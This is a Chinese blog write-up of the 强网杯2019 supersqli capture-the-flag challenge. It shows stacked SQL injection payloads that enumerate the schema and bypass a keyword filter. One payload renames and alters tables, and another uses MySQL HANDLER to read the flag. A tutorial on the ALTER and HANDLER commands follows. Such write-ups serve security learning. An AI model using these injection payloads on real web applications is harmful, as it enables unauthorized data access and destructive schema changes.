[强网杯2019]supersqli--Web安全进阶系列
使用引号判断是否存在sql注入
报错,可能存在sql注入,注入payload,判断列数,结果为不存在4列
?inject=1' order by 4 -- q
换2试试,正常显示,说明存在2列输出结果
?inject=1' order by 2 -- q
尝试使用联合注入失败,并且限制了select|update|delete|drop|insert|where|\./i
?inject=1' union select 1,2 -- q
注入payload,存在堆叠注入
?inject=1' ; show databases; -- w
查看当前数据库表
?inject=-1' ; show tables; -- w
查看words表中的列名,包含id和data
?inject=-1' ; show columns from words ; -- w
这里我们通过修改表名和列名的方式,把结果给爆出来,注入以下payload
?inject=-1' ; rename `words` to `words1` ; rename `1919810931114514` to `words` ; alter table `words` change `id` `flag` varcchar(100) ; -- w
sql语句alter的使用:
当我们需要修改数据表名或者修改数据表字段时,就需要使用到 MySQL ALTER 命令。
MySQL 的 ALTER 命令用于修改数据库、表和索引等对象的结构。
ALTER 命令允许你添加、修改或删除数据库对象,并且可以用于更改表的列定义、添加约束、创建和删除索引等操作。
ALTER 命令非常强大,可以在数据库结构发生变化时进行灵活的修改和调整。
-- 向表中添加列
alter table [table_name]
add column [new_column] [datatype];
-- 修改数据类型
alter table [table_name]
modify column [column_name] [datatype]
-- 修改列明
alter table [table_name]
change column [old_column_name] [new_column_name] [datatype];
-- 删除列
alter table table_name
drop column [column_name];
--数据去重
create table [tmp] select * from [table_name_] group by ([col1],[col2]); -- 先创建一个临时表
drop table [table_name_];-- 删除具有重复数据的表
alter table tmp rename table_name_;-- 将临时表修改名称为你的需要去重的表名即可
or
rename tmp table_name_;-- 俩种修改表名的方式皆可
再使用handler查看第一行数据,爆出flag
?inject=1' ; handler `1919810931114514` open ; handler `1919810931114514` read first -- w
知识补充:
mysql支持多种查询数据的方式,除了常见的select语句外,还有handler命令,handler允许用户一行一行地读取表数据,但功能并不能像select那样全面。他是mysql专有地特性,并未被纳入sql标准。handler为存储引擎提供了直接地接口,主要用于MySAM和InnoDB表,提供了一种访问表数据的直接方式。以下是它地常见用法:
-- 首先创建一张表
create table handler_table(id int, name varchar(10));
-- 按下列顺序依次插入数据
insert into handler_table values(3, '张三');
insert into handler_table values(4, '李四');
insert into handler_table values(5, '王五');
insert into handler_table values(1, '刘一');
insert into handler_table values(2, '陈二');
不通过索引查看表
1、打开句柄
mysql> handler handler_table open;
Query OK, 0 rows affected (0.00 sec)
2、查看数据
mysql> handler handler_table read first;
+------+--------+
| id | name |
+------+--------+
| 3 | 张三 |
+------+--------+
1 row in set (0.00 sec)
mysql> handler handler_table read next;
+------+--------+
| id | name |
+------+--------+
| 4 | 李四 |
+------+--------+
1 row in set (0.00 sec)
3、关闭句柄
handler handler_table close;
通过索引查看表
1、创建索引
mysql> create index handler_index on handler_table(id);
Query OK, 5 rows affected (0.02 sec)
2、打开句柄
mysql> handler handler_table open;
Query OK, 0 rows affected (0.00 sec)
mysql> handler handler_table open as p;
Query OK, 0 rows affected (0.00 sec)
3、查看数据
# 获取第一行数据
handler p read handler_index first;
# 获取下一行数据
handler p read handler_index next;
# 获取上一行数据
handler p read handler_index prev;
# 获取最后一行数据
handler p read handler_index last;
#举例
mysql> handler p read handler_index first;
+------+--------+
| id | name |
+------+--------+
| 1 | 刘一 |
+------+--------+
1 row in set (0.00 sec)
mysql> handler p read handler_index last;
+------+--------+
| id | name |
+------+--------+
| 5 | 王五 |
+------+--------+
1 row in set (0.00 sec)
4、关闭句柄
handler p close;
Tips:如果遇到如下错误,表示没有删除原来创建地索引句柄
mysql> create index handler_index on handler_table(id);
ERROR 1061 (42000): Duplicate key name 'handler_index'
使用如下指令,即可删除索引句柄
alter table hand_table drop index hander_index;
然后再次创建索引句柄
mysql> alter table handler_table drop index handler_index; -- 删除之前创建地索引句柄
Query OK, 5 rows affected (0.02 sec)
Records: 5 Duplicates: 0 Warnings: 0
mysql> create index handler_index on handler_table(id);-- 创建句柄
Query OK, 5 rows affected (0.02 sec)
emmm差不多了,谢谢观看,博主21岁,交朋友dd。。。。。